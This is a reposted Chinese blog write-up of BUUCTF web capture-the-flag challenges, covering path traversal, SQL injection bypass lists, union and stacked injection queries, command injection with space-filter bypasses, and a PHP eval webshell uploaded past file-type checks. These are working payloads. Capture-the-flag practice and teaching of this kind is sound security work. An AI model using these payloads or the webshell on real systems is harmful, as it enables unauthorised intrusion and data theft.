BUUCTF-WEB
Posted parkour-
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF-WEB相关的知识,希望对你有一定的参考价值。
目录
[HCTF 2018]WarmUp
打开网页,查看一下源代码,可以找到一个source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
}
?>
然后有一个hint.php
payload:
url/?file=source.php?../../../../ffffllllaaaagggg
[极客大挑战 2019]EasySQL
打开是一个登录界面,我们直接尝试万能密码
直接得到flag
总结万能密码
asp aspx万能密码
1:"or "a"="a
2:'.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
admin'or 1=1#
PHP万能密码
admin'/*
密码*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
jsp万能密码
1'or'1'='1
admin' or 1=1/*
[极客大挑战 2019]Havefun
打开网页,就是一个小猫,然后我们F12查看一下源代码,找到了一行注释
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';}
在这里有一个迷惑,Syc{cat_cat_cat_cat}虽然很像flag,但是不是flag
然后我们可以直接get传参cat=dog
[强网杯 2019]随便注
上来就是sql注入,然后我们直接
1‘ select union 2#
然后我们知道了select被禁用了
然后我们采用堆叠注入show tables
';show tables;#
再查字段
‘;show columns from words;#
‘;show columns from 1919810931114514;#
最后发现查最后的flag这个方法行不通呐,看了别人的wp也没有学明白
最后找到了非预期解,直接得flag
1' or 1=1#
[ACTF2020 新生赛]Include
打开是一个tips,然后点击转到了?file=flag.php页面
但是并没有什么东西,然后我们想到了题目include,直接伪协议读flag.php得到了源码
解码得flag
[SUCTF 2019]EasySQL
试了好多
输入1,有回显
输入2,也有回显
但是1’,没有回显了
尝试用order by语句查询多少个字段
然后我直接看了别人的wp,受益匪浅
内置的sql语句为:
sql=“select”.post[‘query’]."||flag from Flag";
如果$post['query']的数据为*,1,sql语句就变成了
select *,1||flag from Flag
也就是
select *,1 from Flag
查到Flag表中的内容
[极客大挑战 2019]Secret File
打开网页只发现了页面为黑色,字体为红色
很容易就找到了线索,来到./Archive_room.php页面
点击这个secret按钮,首先到了action页面,但是特别快的准到end页面,没有看清里面的内容
然后我们抓包看一下
又找到了secr3t.php
然后我们直接用伪协议读flag.php,得到base64编码,然后解码
[ACTF2020 新生赛]Exec
这个题直接127.0.01来查询就行了
127.0.0.1;ls /
127.0.0.1;cat /flag
[极客大挑战 2019]LoveSQL
进来就是一个登录页面,然后我们直接尝试万能密码登录
发现并不对,但是我们找到了注入点
测试注入点
/check.php?username=1' union select 1,2,3%23&password=1
查询数据库及版本
/check.php?username=1' union select 1,database(),version()%23&password=1
爆表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
爆数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
[GXYCTF2019]Ping Ping Ping
一进来就是让我们输ip,很明显传参
然后我尝试了以下
?ip=127.0.0.1//可行
?ip=127.0.0.1;ls//查到了flag
?ip=127.0.0.1;cat flag//被禁掉了空格
?ip=127.0.0.1;cat$IFS$flag//flag被禁了
我们直接?ip=1|cat$IFS$1index.php,查看以下index.php
/?ip=
|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match)){
echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{20}]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
看到了好多被禁用的
关于flag的绕过
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
[极客大挑战 2019]Knife
打开页面
我们直接拿蚁剑连就行了
然后直接在根目录下找到flag就行了
[极客大挑战 2019]Http
打开没有找到什么东西,然后我们直接抓包看一下,爆到seret.php
然后直接查看一下,它需要让我们修改referer
然后我们再修改ua
再添加xff,得到flag
[极客大挑战 2019]Upload
文件上传题,首先尝试最基本的操作,上传一句话木马什么的
我们知道了
需要image的文件格式
php后缀被禁了
<?的一句话也不行
解决方法
image
直接抓包将Content-Type里面的格式改为image/jpeg
php后缀
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
我们可以使用phtml来绕过
<?的一句话被禁
换一句话木马
GIF89a? <script language="php">eval($_REQUEST[1])</script>
然后直接构造木马上传,再连接就好了
然后直接用蚁剑连,得到flag
[RoarCTF 2019]Easy Calc
打开页面是一个计算机,然后我们查看源代码,找到了calc.php
得到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\\t', '\\r', '\\n','\\'', '"', '`', '\\[', '\\]','\\$','\\\\','\\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
首先是禁用了很多的东西,然后执行eval()
首先num不能为字母,这个时候利用php的字符串解析特性
用%20num进行绕过
假如way不允许num变量传递字母,可以在num前加个空格,这样waf就不会找到num变量,因为变量叫“ num”而不是“num”。然后在php解析时,会把空格去掉然后代码还能正常运行
构造? num=var_dump(scandir(chr(47)))
找到了flag文件
payload:
? num=var_dump(file_get_contents(chr(47).f1agg))
以上是关于BUUCTF-WEB的主要内容,如果未能解决你的问题,请参考以下文章
Buuctf-Web-[ACTF2020 新生赛]Include